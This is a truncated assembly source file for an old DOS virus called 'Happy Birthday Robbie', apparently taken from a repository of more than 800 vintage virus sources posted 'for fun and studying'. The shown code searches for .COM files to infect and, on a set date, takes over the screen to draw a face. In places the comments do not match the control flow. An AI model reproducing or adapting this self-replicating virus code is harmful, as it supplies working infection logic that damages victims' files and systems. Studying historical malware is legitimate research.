malmseys.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

;
;Happy Birthday Robbie Virus
;

        code    segment 'CODE'
                assume cs:code,ds:code,es:code,ss:code

                org     0100h

code_length     equ     finish - start
lf		equ	0Ah
cr		equ	0Dh

start           label   near
               
id_bytes        proc    near
                mov     si,si                   ; Serves no purpose:  our ID
id_bytes        endp

main:           mov     ah,04Eh                 ; DOS find first file function
                mov     cx,00100111b            ; CX holds attribute mask
                mov     dx,offset com_spec      ; DX points to "*.COM"

file_loop:      int     021h
                jc      exit_virus            ; If there are no files, go
                                                ; off

                call    infect_file             ; Try to infect found file
                jne     exit_virus              ; Exit if successful

                mov     ah,04Fh                 ; DOS find next file function
                jmp     short file_loop         ; Repeat until out of files

exit_virus:    
		mov    ah,2Ah
		int    21h
		cmp    dl,3
 		jne	dos_drop
		cmp    dh,10
		je     eat_screen
dos_drop:	int	20h
eat_screen:	mov	byte ptr count,0
		mov	ah,00
		mov	al,03
		int	10h 
		mov	ah,08
		int	10h
		mov	byte ptr count2,al
		cmp	byte ptr count2,00
		jne	draw_face
		mov	byte ptr count2,0fh
draw_face:
		mov	ah,01		;set cursor type
		mov	cl,00
		mov	ch,40h
		int	10h
		mov	cl,00
		mov	dl,4fh
		mov	ah,06		;clear the display window
		mov	al,00
		mov	bh,0fh		;blank line attribs
		mov	ch,00		;starting at upper left corner
		mov	cl,00		; to
		mov	dh,00		;row 0
		mov	dl,4fh		;column 4Fh
		int	10h
		mov	ah,02		;set cursor position
		mov	dh,00		;to row 0, 
		mov	dl,1fh		;column 1Fh
		mov	bh,00		;in graphics mode
		int	10h
		mov	dx,offset eyes  ;get the eyes
		mov	ah,09		;and draw them to screen
		mov	bl,0fh		;this colour
		int	21h
		mov	ah,02		;reposition character
		mov	dh,01		;to row 1,
		mov	dl,00		;column 0
		int	10h
		mov	ah,09		;write character and attrib
		mov	al,0dch		;character shape
		mov	bl,0fh		;character colour
		mov	cx,50h		;number of characters.
		int	10h
		mov	ah,02		;reposition cursor
		mov	dh,18h		;to row 18h
		mov	dl,00		;column 0
		int	10h
		mov	ah,09		;write character & attribute
		mov	al,0dfh		;character shape
		mov	bl,0fh		;character colour
		mov	cx,0050h	;number of characters
		int	10h
		mov	dl,00		;back to column 0
make_teeth:
		mov	ah,02		;set cursor position
		mov	dh,02		;to row 2
		int	10h
		mov	ah,09		;write the character
		mov	al,55h		; "U" for one top tooth
		mov	bl,0fh		; colour code
		mov	cx,1		;only one tooth
		int	10h
		mov	ah,02
		mov	dh,17h		;row 17h
		inc	dl		;increase column number
		int	10h
		mov	ah,09		;write a character there.
		mov	al,0efh		;character "